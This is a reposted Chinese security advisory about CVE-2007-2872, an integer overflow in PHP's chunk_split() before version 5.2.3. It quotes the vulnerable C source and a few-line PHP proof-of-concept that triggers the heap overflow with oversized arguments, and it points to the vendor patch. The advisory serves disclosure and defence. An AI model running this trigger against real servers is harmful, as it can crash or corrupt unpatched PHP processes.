PHP5.2下chunk_split()函数整数溢出漏洞 分析


Posted in PHP onJune 06, 2007

受影响系统:
PHP PHP < 5.2.3
不受影响系统:
PHP PHP 5.2.3
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872

PHP是一种流行的WEB服务器端编程语言。

PHP中的chunk_split函数在处理畸形参数时存在整数溢出漏洞,本地攻击者可能利用此漏洞提升自己的权限。

PHP中chunk_split函数的1963行试图为函数结果分配充分的内存大小,但没有执行任何检查便使用了srclen和chunklen参数块。如果值的块和endlen大于65534字节的话,就会触发整数溢出,分配错误的内存大小,导致堆溢出。

ext/standard/string.c:

1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int chunks; /* complete chunks! */
1958 int restlen;
1959
1960 chunks = srclen / chunklen;
1961 restlen = srclen - chunks * chunklen; /* srclen % chunklen */
1962
1963 dest = safe_emalloc((srclen + (chunks + 1) * endlen + 1),
sizeof(char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen - chunklen + 1); ) {
1966 memcpy(q, p, chunklen);
1967 q += chunklen;
1968 memcpy(q, end, endlen);
1969 q += endlen;
1970 p += chunklen;
1971 }

<*来源:Gerhard Wagner

链接:http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($a,$b,$c);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net/downloads.php#v5

文章来自: 绿盟科技

PHP 相关文章推荐
php实现ping
Oct 09 PHP
?繁体转换的class
Oct 09 PHP
php目录操作函数之获取目录与文件的类型
Dec 29 PHP
Can't create/write to file 'C:\WINDOWS\TEMP\...MYSQL报错解决方法
Jun 30 PHP
php中sprintf与printf函数用法区别解析
Feb 17 PHP
PHP写日志的实现方法
Nov 05 PHP
Symfony2框架学习笔记之HTTP Cache用法详解
Mar 18 PHP
php利用gd库为图片添加水印
Nov 09 PHP
Zend Framework使用Zend_Loader组件动态加载文件和类用法详解
Dec 09 PHP
PHP解耦的三重境界(浅谈服务容器)
Mar 13 PHP
PHP中$GLOBALS['HTTP_RAW_POST_DATA']和$_POST的区别分析
Jul 03 PHP
laravel5.4利用163邮箱发送邮件的步骤详解
Sep 22 PHP
phpMyAdmin下载、安装和使用入门教程
May 31 #PHP
测试您的 PHP 水平的题目
May 30 #PHP
Discuz板块横排显示图片的实现方法
May 28 #PHP
中国站长站 For Dede4.0 采集规则
May 27 #PHP
MySQL GBK→UTF-8编码转换
May 24 #PHP
Win2003服务器安全加固设置--进一步提高服务器安全性
May 23 #PHP
站长助手-网站web在线管理程序 v1.0 下载
May 12 #PHP
You might like
动漫女神老婆无限好,但日本女生可能就不是这么一回事了!
2020/03/04 日漫
PHP文件操作方法汇总
2015/07/01 PHP
php根据年月获取当月天数及日期数组的方法
2016/11/30 PHP
javascript实现的网页局布刷新效果
2008/12/01 Javascript
屏蔽IE弹出&quot;您查看的网页正在试图关闭窗口,是否关闭此窗口&quot;的方法
2013/12/31 Javascript
JavaScript参数个数可变的函数举例说明
2014/10/10 Javascript
浅谈javascript中的DOM方法
2015/07/16 Javascript
request请求获取参数的实现方法(post和get两种方式)
2016/09/27 Javascript
jQuery密码强度验证控件使用详解
2017/01/05 Javascript
详解Node.js中exports和module.exports的区别
2017/04/19 Javascript
mpvue中使用flyjs全局拦截的实现代码
2018/09/13 Javascript
JavaScript 作用域scope简单汇总
2019/10/23 Javascript
VsCode里的Vue模板的实现
2020/08/12 Javascript
[04:00]DOTA2解说界神雕侠侣 CJ第四天谷子现场过生日
2013/07/30 DOTA
Python xlrd读取excel日期类型的2种方法
2015/04/28 Python
深入讲解Python编程中的字符串
2015/10/14 Python
bat和python批量重命名文件的实现代码
2016/05/19 Python
Python+Selenium自动化实现分页(pagination)处理
2017/03/31 Python
简单易懂的python环境安装教程
2017/07/13 Python
python简易远程控制单线程版
2018/06/20 Python
python 从csv读数据到mysql的实例
2018/06/21 Python
基于K.image_data_format() == 'channels_first' 的理解
2020/06/29 Python
全面解析CSS Media媒体查询使用操作(推荐)
2017/08/15 HTML / CSS
浅析HTML5:'data-'属性的作用
2018/01/23 HTML / CSS
Monnier Freres中文官网:法国领先的奢侈品配饰在线零售商
2017/11/01 全球购物
6PM官网:折扣鞋、服装及配饰
2018/08/03 全球购物
潘多拉意大利官方网上商城:网上选购PANDORA珠宝
2018/10/07 全球购物
2014年自我评价
2014/01/04 职场文书
解除劳动关系协议书范文
2014/09/11 职场文书
党员个人剖析材料2014
2014/10/08 职场文书
中小学生学籍证明
2014/10/25 职场文书
烟台的海导游词
2015/02/02 职场文书
酒店办公室主任岗位职责
2015/04/01 职场文书
计划生育责任书
2015/05/09 职场文书
高老头读书笔记
2015/06/30 职场文书
Pandas 稀疏数据结构的实现
2021/07/25 Python